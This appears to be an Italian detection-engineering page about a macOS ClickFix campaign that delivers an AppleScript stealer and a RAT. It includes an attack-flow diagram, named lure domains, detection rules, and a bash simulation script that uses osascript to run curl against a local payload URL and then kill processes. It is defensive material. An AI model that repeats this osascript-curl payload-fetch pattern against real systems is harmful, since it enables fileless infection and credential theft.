Le Esche ClickFix di macOS Distribuiscono un AppleScript Stealer e un RAT Persistente
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Un attore di minacce di lingua russa sta utilizzando una campagna di ingegneria sociale ClickFix per distribuire un’infezione malware a due stadi su macOS. L’attacco inizia con una catena di esecuzione senza file lanciata tramite comandi terminali e consegna uno stealer di informazioni basato su AppleScript chiamato Meow (DEBUG) insieme a un trojan di accesso remoto persistente. Il malware prende di mira portafogli di criptovaluta, credenziali del browser e dati delle sessioni di messaggistica, eseguendo anche l’iniezione di codice nei portafogli desktop.
Indagine
Netskope Threat Labs ha identificato una versione aggiornata della campagna il 31 maggio 2026, mostrando un passaggio da un semplice stealer a un RAT più capace. La loro analisi ha rivelato un flusso di infezione sofisticato senza file, una logica di geofencing progettata per evitare vittime di lingua russa e una ri-firma ad hoc usata per bypassare le protezioni macOS Gatekeeper. I ricercatori hanno anche collegato la campagna a 25 domini esca di breve durata che condividevano le stesse informazioni di contatto del registrar.
Mitigazione
I difensori dovrebbero dare priorità al blocco dei domini esca e monitorare i comandi terminali sospetti che coinvolgono curl and osascript. Le organizzazioni dovrebbero applicare controlli più severi sull’accesso al terminale e osservare eventuali modifiche non autorizzate ai pacchetti delle applicazioni per portafogli di criptovaluta. La rilevazione basata sull’host può anche concentrarsi sul plist di persistenza com.apple.accountsd e il /tmp/shub_ schema di staging.
Risposta
Se questa attività viene rilevata, isolare immediatamente l’host macOS interessato per fermare ulteriori furti di dati o potenziali spostamenti laterali. Tutti i portafogli di criptovaluta per desktop installati devono essere trattati come compromessi e reinstallati da fonti fidate. Gli investigatori dovrebbero anche eseguire una revisione forense dei LaunchDaemons e LaunchAgents per voci non autorizzate, con particolare attenzione a com.apple.accountsd.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef persistence fill:#99ff99 classDef exfiltration fill:#ffff99 %% Accesso iniziale ed esecuzione attack_drive_by["<b>Azione</b> – <b idea='T1189'>Compromissione drive-by</b><br/>Le vittime visitano domini esca malevoli<br/>come filesapphirecanvas.sbs o<br/>filemintcastle.sbs che si spacciano per<br/>utilità macOS o repository GitHub."] class attack_drive_by action attack_user_exec_copy["<b>Azione</b> – <b idea='T1204.004'>Esecuzione Utente: Copia e Incolla Malevolo</b><br/>Vittime di ingegneria sociale che copiano<br/>comandi da siti falsi nel Terminale macOS."] class attack_user_exec_copy action attack_obfuscation["<b>Azione</b> – <b idea='T1027.009'>File o Informazioni Offuscati: Payloads Incorporati</b><br/>Usa gzip compresso e encoded in base64<br/>heredoc per eseguire un caricatore di stadio 1 in memoria."] class attack_obfuscation action %% Logica del caricatore e Protezioni loader_stage1["<b>Processo</b> – <b idea='Stage 1 Loader'>Caricatore Residente in Memoria</b><br/>Esegue tramite catena di comandi offuscata<br/>per evitare impronte su disco."] class loader_stage1 tool guardrail_geofence["<b>Azione</b> – <b idea='T1480.002'>Protezione Esecuzione: Esclusione Reciproca</b><br/>Controlla il layout della tastiera macOS per<br/>evitare utenti di lingua russa tramite<br/>logica di geofencing."] class guardrail_geofence action loader_reflective["<b>Azione</b> – <b idea='T1620'>Caricamento Riflessivo del Codice</b><br/>Recupera il secondo stadio di AppleScript<br/>tramite curl e pipe direttamente nella<br/>memoria di osascript."] class loader_reflective action %% Furto di Payload e Credenziali malware_meow["<b>Malware</b> – <b idea='Meow Payload'>Payload Meow</b><br/>Payload residente in memoria attivo<br/>dopo il caricamento riflessivo."] class malware_meow malware attack_gui_capture["<b>Azione</b> – <b idea='T1056.002'>Cattura Input: Cattura Input GUI</b><br/>Utilizza una finestra di Preferenze di Sistema spoofata<br/>per raccogliere le password di accesso utente."] class attack_gui_capture action attack_securityd["<b>Azione</b> – <b idea='T1555.002'>Credenziali da Archivi di Password: Memoria Securityd</b><br/>Sblocca la chiave macOS per estrarre chiavi<br/>di Archiviazione Sicura usando password raccolte."] class attack_securityd action %% Furto di Dati ed Esfiltrazione attack_browser_discovery["<b>Azione</b> – <b idea='T1217'>Scoperta Informazioni Browser</b><br/>Scansiona i dati del browser su<br/>Chrome, Safari e Firefox."] class attack_browser_discovery action attack_session_steal["<b>Azione</b> – <b idea='T1539'>Furto Cookie di Sessione Web</b><br/>Esfiltra i cookie di sessione per<br/>mantenere l’accesso non autorizzato."] class attack_session_steal exfiltration attack_crypto_theft["<b>Azione</b> – <b idea='T1657'>Furto Finanziario</b><br/>Prende di mira i portafogli di criptovaluta incluse<br/>estensioni MetaMask e app desktop<br/>come Exodus e Ledger."] class attack_crypto_theft exfiltration %% Persistenza e C2 persistence_launch["<b>Persistenza</b> – <b idea='T1543.001'>LaunchAgent o LaunchDaemon</b><br/>Crea un meccanismo di persistenza<br/>camuffato come com.apple.accountsd."] class persistence_launch persistence c2_beaconing["<b>Azione</b> – <b idea='T1568'>Comando e Controllo</b><br/>Stabilisce un loop di beaconing a 60 secondi<br/>con Risoluzione Dinamica per l’esecuzione di codice arbitrario."] class c2_beaconing tool %% Connessioni attack_drive_by –>|porta_a| attack_user_exec_copy attack_user_exec_copy –>|attiva| attack_obfuscation attack_obfuscation –>|esegue| loader_stage1 loader_stage1 –>|esegue| guardrail_geofence guardrail_geofence –>|attiva| loader_reflective loader_reflective –>|carica| malware_meow malware_meow –>|esegue| attack_gui_capture attack_gui_capture –>|facilita| attack_securityd attack_securityd –>|porta_a| attack_browser_discovery attack_browser_discovery –>|porta_a| attack_session_steal attack_browser_discovery –>|porta_a| attack_crypto_theft malware_meow –>|stabilisce| persistence_launch malware_meow –>|comunica_con| c2_beaconing "
Flusso di Attacco
Rilevamenti
Comando e Controllo Sospetto da Richiesta DNS con Dominio di Livello Superiore Insolito (TLD) (via dns)
Visualizza
Possibile Tentativo di Scoperta Password Browser su MacOS (via cmdline)
Visualizza
Possibile Manipolazione di Stringhe Codificate Base64 [MacOS] (via cmdline)
Visualizza
Firma del Codice Forzata di Pacchetto Applicazione Modificato (via cmdline)
Visualizza
Validazione Credenziali MacOS via Dscl Authonly (via cmdline)
Visualizza
Tentativo di Esecuzione Curl Sospetta [MacOS] (via cmdline)
Visualizza
Archivio Creato nella Cartella Temporanea di MacOS (via file_event)
Visualizza
Rilevazione di Esecuzione Stealer AppleScript su macOS Senza File [Creazione Processo Linux]
Visualizza
Esecuzione della Simulazione
Prerequisito: Devono essere superati il Controllo Pre-volo di Telemetria e Baseline.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.
-
Narrazione & Comandi dell’Attacco: Un avversario ha ottenuto accesso iniziale tramite un sito web malevolo. Eseguono uno script AppleScript su macOS senza file per bypassare la scansione basata su file. L’obiettivo dello script è scaricare un payload secondario falsificando un User-Agent legittimo del browser Chrome per eludere l’ispezione di rete di base e quindi terminare immediatamente qualsiasi applicazione di portafoglio di criptovaluta in esecuzione per impedire all’utente di mettere in sicurezza i propri fondi. L’attaccante usa
osascriptper chiamarecurlcon flag specifici ekill -9per eseguire queste azioni. -
Script di Test di Regressione:
#!/bin/bash # Simulazione di Stealer su macOS Senza File echo "[+] Avvio Simulazione: Stealer macOS Senza File" # Step 1: Simula il recupero del payload tramite curl via osascript (Attiva selection_curl_ua) echo "[+] Esecuzione Fase 1: Curl Falsificato tramite osascript..." osascript -e 'do shell script "curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0" http://localhost:8080/payload"' 2>/dev/null & # Attende un momento per la creazione del processo sleep 2 # Step 2: Simula la terminazione del processo (Attiva selection_kill) # Usato un processo fittizio per kill così non interrompiamo il sistema echo "[+] Esecuzione Fase 2: Terminazione Processo tramite osascript..." sleep 1 osascript -e 'do shell script "kill -9 $$"' # Nota: Questo uccide la subshell corrente, simulando l'intento # Nota: Per una simulazione più pulita che mima un vero obiettivo: # sleep 1 && sleep 1 & # osascript -e 'do shell script "kill -9 $!"' echo "[+] Comandi di Simulazione Inviati." -
Comandi di Pulizia:
# Nessun file è stato creato dallo script, ma ci assicuriamo che non esistano processi in background residui. killall osascript 2>/dev/null echo "[+] Pulizia Completa."